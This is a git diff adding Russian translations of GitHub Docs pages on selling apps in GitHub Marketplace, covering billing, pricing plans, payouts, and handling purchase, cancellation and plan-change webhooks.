"Introductory description" field when [listing your app](/marketplace/listing-on-github-marketplace/). Although you are allowed to use more characters, concise summaries are easier for customers to read and understand quickly. + +You can add more information in the optional "Detailed description" field. You see this description when you click **Read more...** below the introductory description on your app's landing page. A detailed description consists of 3-5 [value propositions](https://en.wikipedia.org/wiki/Value_proposition), with 1-2 sentences describing each one. You can use up to 1,000 characters for this description. + +### Content + +- Always begin introductory descriptions with your app's name. + +- Always write descriptions and value propositions using the active voice. + +### Formatting + +- Always use sentence-case capitalization in value proposition titles. Only capitalize the first letter and proper nouns. + +- Use periods in your descriptions. Avoid exclamation marks. + +- Don't use punctuation at the end of your value proposition titles. Value proposition titles should not include complete sentences, and should not include more than one sentence. + +- For each value proposition, include a title followed by a paragraph of description. Format the title as a [level-three header](/articles/basic-writing-and-formatting-syntax/#headings) using Markdown. For example: + + ### Learn the skills you need + + GitHub Skills can help you learn how to use GitHub, communicate more effectively with Markdown, handle merge conflicts, and more. + +- Only capitalize proper nouns. + +- Always use the [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists. + +- Avoid referring to the GitHub community as "users." + + **DO:** Create issues automatically for people in your organization + + **DON'T:** Create issues automatically for an organization's users + +- Avoid acronyms unless they’re well established (such as API). + +## Product screenshots + +You can upload up to five screenshot images of your app to display on your app's landing page. Add an optional caption to each screenshot to provide context. After you upload your screenshots, you can drag them into the order you want them to be displayed on the landing page. + +### Guidelines for screenshots + +- Images must be of high resolution (at least 1200px wide). +- All images must be the same height and width (aspect ratio) to avoid page jumps when people click from one image to the next. +- Show as much of the user interface as possible so people can see what your app does. +- When taking screenshots of your app in a browser, only include the content in the display window. Avoid including the address bar, title bar, or toolbar icons, which do not scale well to smaller screen sizes. +- GitHub displays the screenshots you upload in a box on your app's landing page, so you don't need to add boxes or borders around your screenshots. +- Captions are most effective when they are short and snappy. + +![GitHub Marketplace screenshot image](/assets/images/marketplace/marketplace-screenshots.png) diff --git a/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md b/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md new file mode 100644 index 000000000000..4d04fcf5575d --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md @@ -0,0 +1,55 @@ +--- +title: Клиенты для выставления счетов +intro: 'Приложения в {% data variables.product.prodname_marketplace %} должны соответствовать рекомендациям по выставлению счетов GitHub и поддерживать рекомендованные службы. Следуя нашим рекомендациям, клиенты могут осуществлять навигацию по процессу выставления счетов без каких-либо непредвиденных результатов.' +redirect_from: + - /apps/marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace + - /apps/marketplace/selling-your-app/billing-customers-in-github-marketplace + - /marketplace/selling-your-app/billing-customers-in-github-marketplace + - /developers/github-marketplace/billing-customers +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +ms.openlocfilehash: 86f012c4a74d010ddaed9ec495ae2f5d8a8dd9eb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145089645' +--- +## Общие сведения о периоде выставления счетов + +Клиенты могут выбрать ежемесячный или годовой период выставления счетов при покупке приложения. Все изменения, внесенные клиентами в период выставления счетов и выбор плана, активируют событие `marketplace_purchase`. Вы можете обратиться к полезным данным веб-перехватчика `marketplace_purchase`, чтобы узнать, какой период выставления счетов выбирает клиент и когда начинается следующая дата выставления счетов (`effective_date`). Дополнительные сведения о полезных данных веб-перехватчика см. в статье [События веб-перехватчика для API {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api). + +## Предоставление услуг по выставлению счетов в пользовательском интерфейсе приложения + +Клиенты должны иметь возможность выполнять следующие действия на веб-сайте приложения: +- Клиенты должны иметь возможность изменять или отменять свои планы {% data variables.product.prodname_marketplace %} для личных и организационных учетных записей отдельно. +{% data reusables.marketplace.marketplace-billing-ui-requirements %} + +## Службы выставления счетов для обновлений, перехода на использование более ранних версий и отмен + +Следуйте этим рекомендациям по обновлению, переходу на использование более ранних версий и отменам, чтобы обеспечить четкий и согласованный процесс выставления счетов. Более подробные инструкции о событиях покупки {% data variables.product.prodname_marketplace %} см. в статье [Использование API {% data variables.product.prodname_marketplace %} в приложении](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app). + +Вы можете использовать ключ `effective_date` веб-перехватчика `marketplace_purchase`, чтобы определить, когда произойдет изменение плана, и периодически синхронизировать [Список учетных записей для плана](/rest/reference/apps#list-accounts-for-a-plan). + +### Обновления + +Когда клиент обновляет свой тарифный план или меняет период выставления счетов с ежемесячного на годовой, вы должны немедленно применить это изменение. Необходимо применить пропорциональную скидку к новому плану и изменить период выставления счетов. + +{% data reusables.marketplace.marketplace-failed-purchase-event %} + +Сведения о создании рабочих процессов обновления и перехода на использование более ранних версий в приложении см. в статье [Обработка изменений плана](/developers/github-marketplace/handling-plan-changes). + +### Переход на использование более ранних версий и отмены + +Переход на использование более ранних версий происходит, когда клиент переходит на бесплатный план из платного, выбирает план с более низкой стоимостью, нежели текущий, или изменяет свой период выставления счетов с ежегодного на ежемесячный. Если происходит переход на использование более ранней версии или отмены, вам не возмещать средства. Вместо этого текущий план будет оставаться активным до последнего дня текущего периода выставления счетов. Событие `marketplace_purchase` будет отправлено, когда новый план вступит в силу в начале следующего периода выставления счетов клиента. + +Когда клиент отменяет план, необходимо: +- Автоматически перевести клиента на использованием бесплатного плана, если он существует. + + {% data reusables.marketplace.cancellation-clarification %} +- Разрешить клиенту обновить план через GitHub, если он захочет позже продлить его. + +Сведения о создании рабочих процессов отмены в приложении см. в статье [Обработка отмен плана](/developers/github-marketplace/handling-plan-cancellations). diff --git a/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md b/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md new file mode 100644 index 000000000000..8e19dca8910a --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md @@ -0,0 +1,28 @@ +--- +title: Продажа приложения в GitHub Marketplace +intro: 'Узнайте о требованиях и рекомендациях по продаже приложения в {% data variables.product.prodname_marketplace %}.' +redirect_from: + - /apps/marketplace/administering-listing-plans-and-user-accounts + - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing + - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing + - /apps/marketplace/pricing-payments-and-free-trials + - /apps/marketplace/selling-your-app + - /marketplace/selling-your-app +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +children: + - /pricing-plans-for-github-marketplace-apps + - /billing-customers + - /receiving-payment-for-app-purchases +shortTitle: Sell apps on the Marketplace +ms.openlocfilehash: f969db42c6da5ccb2cd6657c776332f54d57b561 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882322' +--- + diff --git a/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md b/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md new file mode 100644 index 000000000000..39aa90ed6bb3 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -0,0 +1,59 @@ +--- +title: Pricing plans for GitHub Marketplace apps +intro: 'Pricing plans allow you to provide your app with different levels of service or resources. You can offer up to 10 pricing plans in your {% data variables.product.prodname_marketplace %} listing.' +redirect_from: + - /apps/marketplace/selling-your-app/github-marketplace-pricing-plans + - /marketplace/selling-your-app/github-marketplace-pricing-plans + - /developers/github-marketplace/pricing-plans-for-github-marketplace-apps +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Pricing plans for apps +--- +{% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to apps published by verified publishers. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)." + +Customers purchase your app using a payment method attached to their account on {% data variables.location.product_location %}, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." + +If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. + +For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." + +{% data reusables.marketplace.free-plan-note %} + +## Types of pricing plans + +### Free pricing plans + +{% data reusables.marketplace.free-apps-encouraged %} + +Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. + +All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." + +If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. + +### Paid pricing plans + +There are two types of paid pricing plan: + +- Flat rate pricing plans charge a set fee on a monthly and yearly basis. + +- Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). + +You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. + +## Free trials + +Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. + +Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. + +For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/handling-new-purchases-and-free-trials/)." + +{% note %} + +**Note:** GitHub expects you to delete any private customer data within 30 days of a cancelled trial, beginning at the receipt of the cancellation event. + +{% endnote %} diff --git a/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md b/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md new file mode 100644 index 000000000000..196616353ae8 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md @@ -0,0 +1,34 @@ +--- +title: Получение оплаты за покупку приложений +intro: 'В конце каждого месяца вы будете получать платеж за ваш список {% data variables.product.prodname_marketplace %}.' +redirect_from: + - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing + - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing + - /apps/marketplace/pricing-payments-and-free-trials/receiving-payment-for-a-github-marketplace-listing + - /apps/marketplace/selling-your-app/receiving-payment-for-github-marketplace-listings + - /marketplace/selling-your-app/receiving-payment-for-github-marketplace-listings + - /developers/github-marketplace/receiving-payment-for-app-purchases +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Receive payment +ms.openlocfilehash: 324ef8bceaa92c55f102603885799dde7e892795 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089629' +--- +После создания и утверждения регистрации в {% data variables.product.prodname_marketplace %} приложения с платным планом вы предоставляете {% data variables.product.product_name %} платежные реквизиты в рамках процесса оформления финансовых отношений. + +Когда доход достигнет минимальной суммы в 500 долларов США в течение месяца, вы получите электронный платеж от {% data variables.product.company_short %}. Это будет доход от транзакций в marketplace за вычетом суммы, взимаемой {% data variables.product.company_short %} для покрытия текущих расходов. + +Для транзакций, выполненных до 1 января 2021 г., {% data variables.product.company_short %} удерживает 25 % от дохода транзакции. Для транзакций, выполненных после этой даты, {% data variables.product.company_short %} удерживает только 5 %. Это изменение будет отражено в платежах, полученных с конца января 2021 года. + +{% note %} + +**Примечание.** Дополнительные сведения о текущих ценах и условиях оплаты см. в разделе [Соглашение с разработчиком {% data variables.product.prodname_marketplace %}](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement). + +{% endnote %} diff --git a/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md new file mode 100644 index 000000000000..f593e6e24ae5 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md @@ -0,0 +1,89 @@ +--- +title: Обработка новых покупок и бесплатных пробных версий +intro: 'Когда клиент приобретает платный план, бесплатную пробную версию или бесплатную версию приложения {% data variables.product.prodname_marketplace %}, вы получите веб-перехватчик [`marketplace_purchase` события](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) с действием `purchased`, которое запускает поток приобретения.' +redirect_from: + - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-github-apps + - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-oauth-apps + - /apps/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials + - /marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials + - /developers/github-marketplace/handling-new-purchases-and-free-trials +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: New purchases & free trials +ms.openlocfilehash: b0c1cf055d912cd83e2167bfcbd0136a2644b1aa +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145089626' +--- +{% warning %} + +Если вы предлагаете {% data variables.product.prodname_github_app %} в {% data variables.product.prodname_marketplace %}, приложение должно идентифицировать пользователей в соответствии с процессом авторизации OAuth. Для поддержки этого процесса настраивать отдельное {% data variables.product.prodname_oauth_app %} не нужно. Дополнительные сведения см. в разделе [Определение и авторизация пользователей для {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/). + +{% endwarning %} + +## Шаг 1. Начальная покупка и событие веб-перехватчика + +Прежде чем приобретать ваше приложение {% data variables.product.prodname_marketplace %}, клиент выбирает [план профиля](/marketplace/selling-your-app/github-marketplace-pricing-plans/). Он также выбирает, должно ли приложение приобретаться из личной учетной записи или учетной записи организации. + +Чтобы завершить покупку, клиент нажимает кнопку **Оформить заказ и начать установку**. + +Затем {% data variables.product.product_name %} отправляет в ваше приложение веб-перехватчик [`marketplace_purchase`](/webhooks/event-payloads/#marketplace_purchase) с действием `purchased`. + +Чтобы определить, какой план приобрел клиент и когда начинается выставление счетов, в том числе его следующий период, прочитайте объекты `effective_date` и `marketplace_purchase` из веб-перехватчика `marketplace_purchase`. + +Если предлагается бесплатная пробная версия приложения, прочитайте атрибут `marketplace_purchase[on_free_trial]` веб-перехватчика. Если значение равно `true`, приложение должно отслеживать дату начала (`effective_date`) и окончания (`free_trial_ends_on`) бесплатного пробного периода. Используйте дату `free_trial_ends_on` для отображения количества дней до конца бесплатного пробного периода в пользовательском интерфейсе приложения. Это можно делать в баннере или в [пользовательском интерфейсе выставления счетов](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). Сведения об обработке досрочной отмены бесплатного пробного периода см. в разделе [Обработка отмены плана](/developers/github-marketplace/handling-plan-cancellations). Чтобы узнать, как перейти на платный план по завершении бесплатного пробного периода, см. раздел [Обработка изменений плана](/developers/github-marketplace/handling-plan-changes). + +Пример полезных данных `marketplace_purchase` см. в разделе [{% data variables.product.prodname_marketplace %}](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). + +## Шаг 2. Установка + +Если у вас {% data variables.product.prodname_github_app %}, при его приобретении {% data variables.product.product_name %} предлагает клиенту выбрать репозитории, к которым приложение будет иметь доступ. Затем {% data variables.product.product_name %} устанавливает приложение в выбранной клиентом учетной записи и предоставляет доступ к выбранным репозиториям. + +На этом этапе, если в параметрах {% data variables.product.prodname_github_app %} указан **URL-адрес настройки**, {% data variables.product.product_name %} перенаправит клиента на него. Если URL-адрес настройки не указан, вы не сможете обрабатывать покупки {% data variables.product.prodname_github_app %}. + +{% note %} + +**Примечание**. **URL-адрес настройки** описывается как необязательный в параметрах {% data variables.product.prodname_github_app %}, но это обязательное поле, если вы хотите предлагать приложение в {% data variables.product.prodname_marketplace %}. + +{% endnote %} + +Если у вас {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} не устанавливает его нигде. Вместо этого {% data variables.product.product_name %} перенаправляет клиента на **URL-адрес установки**, указанный в [профиле в {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#listing-urls). + +Когда клиент приобретает {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} перенаправляет его на выбранный вами URL-адрес (настройки или установки), в который выбранный клиентом ценовой план включен в качестве параметра запроса: `marketplace_listing_plan_id`. + +## Шаг 3. Авторизация + +Когда клиент приобретает ваше приложение, необходимо провести клиента через процесс авторизации OAuth. + +* Если у вас {% data variables.product.prodname_github_app %}, начните процесс авторизации сразу после того, как {% data variables.product.product_name %} перенаправит клиента на **URL-адрес настройки**. Выполните инструкции из раздела [Определение и авторизация пользователей для {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/). + +* Если у вас {% data variables.product.prodname_oauth_app %}, начните процесс авторизации сразу после того, как {% data variables.product.product_name %} перенаправит клиента на **URL-адрес установки**. Выполните инструкции из раздела [Авторизация {% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/authorizing-oauth-apps/). + +Для любого типа приложения первым шагом является перенаправление клиента на страницу [https://github.com/login/oauth/authorize](https://github.com/login/oauth/authorize). + +После того как клиент завершит авторизацию, приложение получит маркер доступа OAuth для него. Он потребуется для выполнения следующего шага. + +{% note %} + +**Примечание**. При авторизации клиента в бесплатной пробной версии предоставьте ему тот же уровень доступа, который был бы у него в платном плане. Вы переведете его на платный план после окончания пробного периода. + +{% endnote %} + +## Шаг 4. Подготовка учетных записей клиентов + +Для каждой новой покупки в приложении должна подготавливаться учетная запись клиента. Используя маркер доступа, полученный для клиента на шаге 3 [Авторизация](#step-3-authorization), вызовите конечную точку [получения списка подписок для пользователя, прошедшего проверку подлинности](/rest/reference/apps#list-subscriptions-for-the-authenticated-user). Ответ будет содержать сведения об учетной записи (`account`) клиента и о том, использует ли он бесплатную пробную версию (`on_free_trial`). Используйте эти сведения для завершения настройки и подготовки. + +{% data reusables.marketplace.marketplace-double-purchases %} + +Если покупка предназначена для организации и оплачивается по модели "на пользователя", вы можете предложить клиенту выбрать сотрудников организации, у которых будет доступ к приобретенному приложению. + +Вы можете настроить способ получения сотрудниками организации доступа к приложению. Вот несколько рекомендаций: + +**Фиксированные расценки**. Если покупка совершается для организации с использованием фиксированных расценок, ваше приложение может [получить список всех сотрудников организации](/rest/reference/orgs#list-organization-members) через API и предложить администратору организации выбрать тех из них, для кого будут оплачиваться учетные записи на стороне интегратора. + +**Расценки за единицу**. Один из способов подготовки рабочих мест с оплатой за единицу — разрешить пользователям занимать рабочие места при входе в приложение. Когда клиент достигнет максимального числа рабочих мест, ваше приложение может предупредить его о необходимости повысить уровень через {% data variables.product.prodname_marketplace %}. diff --git a/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md new file mode 100644 index 000000000000..84c87d8d5a2d --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md @@ -0,0 +1,41 @@ +--- +title: Обработка отмены плана +intro: 'Отмена приложения {% data variables.product.prodname_marketplace %} запускает веб-перехватчик [события `marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) с действием `cancelled`, которое запускает поток отмены уровня.' +redirect_from: + - /apps/marketplace/administering-listing-plans-and-user-accounts/cancelling-plans + - /apps/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans + - /marketplace/integrating-with-the-github-marketplace-api/cancelling-plans + - /developers/github-marketplace/handling-plan-cancellations +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Plan cancellations +ms.openlocfilehash: 253506f1ac32f55649dd533559a7a16508cca98f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145089613' +--- +Дополнительные сведения об отмене в связи с выставлением счетов см. в разделе [Выставление счетов клиентов в {% data variables.product.prodname_marketplace %}](/apps//marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace). + +## Шаг 1. Событие отмены + +Если клиент решил отменить заказ в {% data variables.product.prodname_marketplace %}, GitHub отправляет веб-перехватчик [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) с действием `cancelled` в приложение, когда отмена вступает в силу. Если клиент отменяет бесплатную пробную версию, приложение получит событие немедленно. Когда клиент отменяет платный план, отмена будет выполнена в конце периода выставления счетов. + +## Шаг 2. Отключение учетных записей клиентов + +Когда клиент отменяет бесплатный или платный план, ваше приложение должно выполнить следующие действия, чтобы завершить отмену: + +1. отключить учетную запись клиента, отменившего план; +1. отозвать токен OAuth, полученный приложением для клиента; +1. для приложения OAuth удалить все веб-перехватчики, созданные приложением для репозиториев; +1. удалить все данные клиента в течение 30 дней после получения события `cancelled`. + +{% note %} + +**Примечание**. Мы рекомендуем использовать ключ `effective_date` веб-перехватчика [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/), чтобы определить, когда произойдет изменение плана, и периодически синхронизировать [Список учетных записей для плана](/rest/reference/apps#list-accounts-for-a-plan). Дополнительные сведения о веб-перехватчиках см. в разделе [События веб-перехватчиков {% data variables.product.prodname_marketplace %}](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). + +{% endnote %} diff --git a/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md new file mode 100644 index 000000000000..4777ae8ef1c5 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md @@ -0,0 +1,71 @@ +--- +title: Обработка изменений плана +intro: 'Повышение или понижение уровня приложения {% data variables.product.prodname_marketplace %} запускает веб-перехватчик [`marketplace_purchase` события](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) с действием `changed`, которое запускает поток повышение или понижение уровня.' +redirect_from: + - /apps/marketplace/administering-listing-plans-and-user-accounts/upgrading-or-downgrading-plans + - /apps/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans + - /marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans + - /developers/github-marketplace/handling-plan-changes +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +ms.openlocfilehash: fd5cc838c01130ab9e8a1f7c040b254655cbaef0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135863' +--- +Дополнительные сведения о повышении и понижении уровня в контексте выставления счетов см. в разделе [Интеграция с API {% data variables.product.prodname_marketplace %}](/marketplace/integrating-with-the-github-marketplace-api/). + +## Шаг 1. Событие изменения плана ценообразования + +GitHub отправляет веб-перехватчик `marketplace_purchase` с действием `changed` в приложение, когда клиент вносит такие изменения в свой заказ {% data variables.product.prodname_marketplace %}: +* Повышение уровня до более дорогого плана или понижения до более дешевого тарифного плана. +* Добавляет или удаляет рабочие места из существующего плана. +* Вносит изменения в цикл выставления счетов. + +GitHub отправит веб-перехватчик, когда изменение вступит в силу. Например, когда клиент понижает уровень тарифного плана, GitHub отправляет веб-перехватчик в конце цикла выставления счетов клиента. GitHub отправляет веб-перехватчик в приложение сразу, если клиент повышает уровень плана, чтобы сразу разрешить ему доступ к новой службе. Если клиент переходит с месячного на годовой цикл выставления счетов, это считается повышением уровня. Дополнительные сведения о действиях, которые считаются повышением или понижением уровня, см. в разделе [Выставление счетов клиентам в {% data variables.product.prodname_marketplace %}](/marketplace/selling-your-app/billing-customers-in-github-marketplace/). + +Ознакомьтесь с `effective_date`, `marketplace_purchase` и `previous_marketplace_purchase` в веб-перехватчике `marketplace_purchase`, чтобы обновить дату начала действия плана и внести изменения в цикл выставления счетов и тарифный план клиента. Пример полезных данных `marketplace_purchase` см. в разделе [{% data variables.product.prodname_marketplace %}](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). + +Если для вашего приложения предлагаются бесплатные пробные версии, вы получите веб-перехватчик `marketplace_purchase` с помощью действия `changed` после истечения срока действия бесплатной пробной версии. Если срок действия бесплатной пробной версии клиента истекает, переведите клиент с бесплатной пробной версии на платный план. + +## Шаг 2. Обновление учетных записей клиентов + +Вам потребуется обновить сведения об учетной записи клиента, чтобы отразить цикл выставления счетов и изменения в плане ценообразования, внесенные клиентом в свой заказ {% data variables.product.prodname_marketplace %}. Отображение повышения уровня для тарифного плана `seat_count` (для тарифных планов с оплатой по числу единиц) и цикла выставления счетов на веб-сайте приложения Marketplace или в пользовательском интерфейсе приложения при получении веб-перехватчика действия `changed`. + +Когда клиент понижает уровень тарифного плана, рекомендуется проверить, не превысил ли клиент лимиты для плана, и взаимодействовать с клиентом напрямую в пользовательском интерфейсе или связаться с ним по телефону или по электронной почте. + +Чтобы мотивировать пользователей повысить уровень, вы можете настроить отображение URL-адреса обновления в пользовательском интерфейсе приложения. Дополнительные сведения см. в разделе [Сведения об URL-адресах обновления](#about-upgrade-urls). + +{% note %} + +**Примечание.** Мы рекомендуем регулярно выполнять синхронизацию с помощью `GET /marketplace_listing/plans/:id/accounts`, чтобы убедиться, что приложение использует правильный план, информацию о цикле выставления счетов и количество единиц (для тарифных планов с оплатой по числу единиц) для каждой учетной записи. + +{% endnote %} + +## Ошибка платежа при повышении уровня + +{% data reusables.marketplace.marketplace-failed-purchase-event %} + +## Сведения об URL-адресах обновления + +Вы можете перенаправить пользователей из пользовательского интерфейса приложения, чтобы повысить уровень в GitHub с помощью URL-адреса обновления: + +```text +https://www.github.com/marketplace/<LISTING_NAME>/upgrade/<LISTING_PLAN_NUMBER>/<CUSTOMER_ACCOUNT_ID> +``` + +Например, если вы заметили, что клиент использует тарифный план, рассчитанный на 5 пользователей, и ему требуется перейти на план на 10 пользователей, можно отобразить в пользовательском интерфейсе приложения кнопку с текстом "Действия для повышения уровня" или баннер со ссылкой на URL-адрес обновления. URL-адрес обновления перенаправляет клиента на страницу, где можно подтвердить повышение уровня тарифного плана. + +Используйте `LISTING_PLAN_NUMBER` для тарифного плана, который клиент хочет приобрести. При создании новых тарифных планов они получают `LISTING_PLAN_NUMBER`, который является уникальным для каждого плана в листинге, а также `LISTING_PLAN_ID`, который также является уникальным для каждого плана в {% data variables.product.prodname_marketplace %}. Эти цифры можно найти при [перечислении планов](/rest/reference/apps#list-plans), которые идентифицируют тарифные планы в вашем листинге. Используйте конечную точку `LISTING_PLAN_ID` и [Список учетных записей для плана](/rest/reference/apps#list-accounts-for-a-plan), чтобы получить `CUSTOMER_ACCOUNT_ID`. + + +{% note %} + +**Примечание.** Если ваш клиент повышает уровень с учетом дополнительных единиц (например, рабочих мест), вы по-прежнему можете перевести его на страницу, где он может приобрести нужный план, но мы не поддерживаем параметры `unit_count` в настоящее время. + +{% endnote %} diff --git a/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md new file mode 100644 index 000000000000..c519b3fc5bdc --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md @@ -0,0 +1,28 @@ +--- +title: Использование API GitHub Marketplace в приложении +intro: 'Узнайте, как интегрировать события API и веб-перехватчика {% data variables.product.prodname_marketplace %} в приложение для {% data variables.product.prodname_marketplace %} .' +redirect_from: + - /apps/marketplace/setting-up-github-marketplace-webhooks + - /apps/marketplace/integrating-with-the-github-marketplace-api + - /marketplace/integrating-with-the-github-marketplace-api +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +children: + - /rest-endpoints-for-the-github-marketplace-api + - /webhook-events-for-the-github-marketplace-api + - /testing-your-app + - 